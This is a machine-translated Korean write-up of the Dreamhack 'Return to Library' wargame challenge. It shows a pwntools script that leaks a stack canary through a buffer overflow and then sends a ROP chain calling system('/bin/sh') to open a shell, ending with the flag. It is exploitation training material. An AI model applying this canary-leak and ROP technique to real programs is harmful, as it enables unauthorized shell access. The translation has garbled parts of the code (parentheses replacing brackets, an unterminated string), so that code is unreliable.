(Dreamhack) 라이브러리로 돌아가기(pwnbar)

문제

라이브러리로 돌아가기 | 전쟁 게임 | 꿈 해킹

암호

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf(0x30);

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("(1) Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("(2) Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

이것은 완전한 코드입니다.

생각보다 짧습니다.

binsh라는 변수 하나가 눈에 띄는데, 나중에 어디선가 써먹을 수 있을 것 같다.


Canary, NX 보호 기술이 활성화됩니다.

분석하다

char buf(0x30);

// Leak canary
printf("(1) Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);

buf의 크기는 0x30에 불과하지만 읽기 기능은 0x100까지 받습니다.

버퍼 오버플로가 발생합니다.

그리고 buf의 주소는 printf를 통해 출력되는데 이때 canary가 유출될 수 있다.

// Overwrite return address
printf("(2) Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);

여기서도 buf는 read 함수로 0x100을 입력한다.

버퍼 오버플로도 발생합니다.

pwndbg> disassemble main
Dump of assembler code for function main:
...
0x0000000000400772 <+123>:   lea    rax,(rbp-0x40)
0x0000000000400776 <+127>:   mov    edx,0x100
0x000000000040077b <+132>:   mov    rsi,rax
0x000000000040077e <+135>:   mov    edi,0x0
0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>
0x0000000000400788 <+145>:   lea    rax,(rbp-0x40)
0x000000000040078c <+149>:   mov    rsi,rax
0x000000000040078f <+152>:   mov    edi,0x4008a3
0x0000000000400794 <+157>:   mov    eax,0x0
0x0000000000400799 <+162>:   call   0x4005e0 <printf@plt>

카나리아 누출

from pwn import *

p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join((name, hex(addr))))

# (1) Leak canary
buf = b"A" * 0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)

이제 우리는 rax(rbp-0x40) 0x40을 통해 원격이라는 것을 알았으므로 카나리아 누수를 수행할 수 있습니다.

\x00은 널 바이트를 의미합니다.

각 문자열의 끝에는 이것이 문자열의 끝임을 나타내는 null 바이트가 있습니다.

그런데 그 자리가 A로 가려져 있어서 끈의 끝이 어딘지 알 수가 없고, 끝에 뭔가 더 나오고 그 지점에서 카나리아가 핥는다.

카나리아 영역은 x86-64에서 8바이트이므로 p.recvn(7)을 통해 가져옵니다.

❯ python3 main.py                                                                                                                          ─╯
(+) Starting local process './rtl': pid 2710
(+) canary: 0x38aec956f84c0700
(*) Stopped process './rtl' (pid 2710)

위의 카나리아 값은 각 실행에서 무작위로 변경됩니다.

악용하다

# (2) Exploit
system_plt = e.plt("system")
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b"A" * 0x38 + p64(canary) + b"B" * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()

원래 카나리아 값은 변조되면 프로그램을 종료하지만 카나리아 값을 알아냈으므로 변조되지 않도록 조작할 수 있습니다.

페이로드 구조는 다음과 같습니다.

A 0x38 + canary + B 0x8 + ret + pop_rdi + binsh + system@plt


DH{13e0d0ddf0c71c0ac4410687c11e6b00}, 플래그 검색됨.